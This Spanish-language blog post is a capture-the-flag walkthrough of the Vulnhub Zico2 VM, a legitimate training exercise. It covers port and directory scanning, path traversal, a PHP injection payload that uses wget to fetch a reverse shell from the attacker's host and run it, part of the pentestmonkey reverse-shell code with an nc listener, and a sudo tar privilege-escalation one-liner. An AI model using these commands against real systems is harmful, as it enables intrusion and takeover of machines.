domingo, 7 de mayo de 2023

CTF Zico2: 1 VM

 

Esta máquina tiene algunas peculiaridades no tan comunes actualmente, pero primero se lanza nmap para el escaneo de puertos.

$ sudo nmap -sV -Pn -A -O -oN zico2 192.168.2.32   
[sudo] contraseña para aka-linux:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-07 14:15 -05
Nmap scan report for 192.168.2.32
Host is up (0.00059s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 6860dec22bc616d85b88bee3cca12575 (DSA)
|   2048 50db75ba112f43c9ab14406d7fa1eee3 (RSA)
|_  256 115d55298a77d808b4009ba36193fee5 (ECDSA)
80/tcp  open  http    Apache httpd 2.2.22 ((Ubuntu))
|_http-title: Zico's Shop
|_http-server-header: Apache/2.2.22 (Ubuntu)
111/tcp open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          33913/udp   status
|   100024  1          39647/tcp   status
|   100024  1          43296/udp6  status
|_  100024  1          43805/tcp6  status
MAC Address: **:**:**:**:**:** (***)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.5
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

 

Como se puede observar, solo hay 3 puertos, el 22, el 80 y el 111. Ahora se revisa el contenido que está dentro del puerto 80.


 Se inspecciona el código fuente y se encuentra este fallo, una vulnerabilidad de path traversal.


Se puede aprovechar pasándole como parámetro en el navegador "../" hasta que se encuentra una ruta, un archivo conocido (passwd). Analizando este archivo se revela que solo existen 2 usuarios root y zico.


Ahora con se escanea los directorios disponibles con gobuster
$ gobuster dir -u http://192.168.2.32:80/ -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt       
===============================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
http://192.168.2.32:80/img                  (Status: 301) [Size: 310] [--> http://192.168.2.32/img/]
http://192.168.2.32:80/tools                (Status: 200) [Size: 8355]
http://192.168.2.32:80/view                 (Status: 200) [Size: 0]
http://192.168.2.32:80/css                  (Status: 301) [Size: 310] [--> http://192.168.2.32/css/]
http://192.168.2.32:80/index                (Status: 200) [Size: 7970]
http://192.168.2.32:80/js                   (Status: 301) [Size: 309] [--> http://192.168.2.32/js/]
http://192.168.2.32:80/vendor               (Status: 301) [Size: 313] [--> http://192.168.2.32/vendor/]
http://192.168.2.32:80/package              (Status: 200) [Size: 789]
http://192.168.2.32:80/LICENSE              (Status: 200) [Size: 1094]
http://192.168.2.32:80/less                 (Status: 301) [Size: 311] [--> http://192.168.2.32/less/]
http://192.168.2.32:80/server-status        (Status: 403) [Size: 293]
http://192.168.2.32:80/dbadmin              (Status: 301) [Size: 314] [--> http://192.168.2.32/dbadmin/]

Después se comprueban las rutas que se encontraron. En una de las rutas se localiza esta ruta muy interesante.


Era un panel de acceso a una base de datos, asi que se intenta con las contraseñas más comunes.


Se busca un exploit y se encuentra que permita obtener un remote infección de código. 


Se crea una base de datos con extensión .php, luego una tabla con 1 fila, ahora se ingresa una infección de código php en el campo y en valor por defecto (<?php phpinfo()?>). Como la DB muestra cuál es la ruta donde está almacenado, solo es buscarlo con en el navegador. En este caso mostrará la información de php del servidor. 


Para aprovechar la vulnerabilidad se inyecta en la tabla de la DB, un código que llamara a un servidor local para que descargue un revershell y guardarlo en la carpeta tmp.
<?php system("wget http://192.168.2.5:8000/shell.php -O /tmp/shell.php;php /tmp/shell.php");?>


Se configura la revershell con la IP y el puerto por el que va a escuchar la comunicación y se guarda como se escribió en la tabla de la DB.
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.2.5';
$port = 4567;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
...


Después se habilita la escucha por el puerto establecido.
nc -lvnp 4567

 

Luego se crea el servicio que dará cuando sea llamado la shell y para finalizar se busca en el navegador la ruta de la DB.
python3 -m http.server

 

Vualá ya se tiene una shell al servidor. Para hacerlo mas comodo la navegacion se utiliza una pseudo-terminal.
python -c "import pty; pty.spawn('/bin/bash')"


Ahora se busca al usuario zico en la carpeta home, y se encuentran unas carenciales en dentro de las configuraciones de un crm.


Ahora se intenta iniciar sesión a través del servicio SSH con esas credenciales, una vez con acceso se comprueba que permisos tiene permitido hacer el usuario con SUDO.


Ahora se verifica que se puede bypasear a un usuario con mayores privilegios.

sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh


Ahora, con privilegios mayores, se busca el flag en el directorio de root.


Muchas gracias a @rafasantos5 que nos brindó esta VM. Hasta la próxima.

Vulnhub:Zico2: 1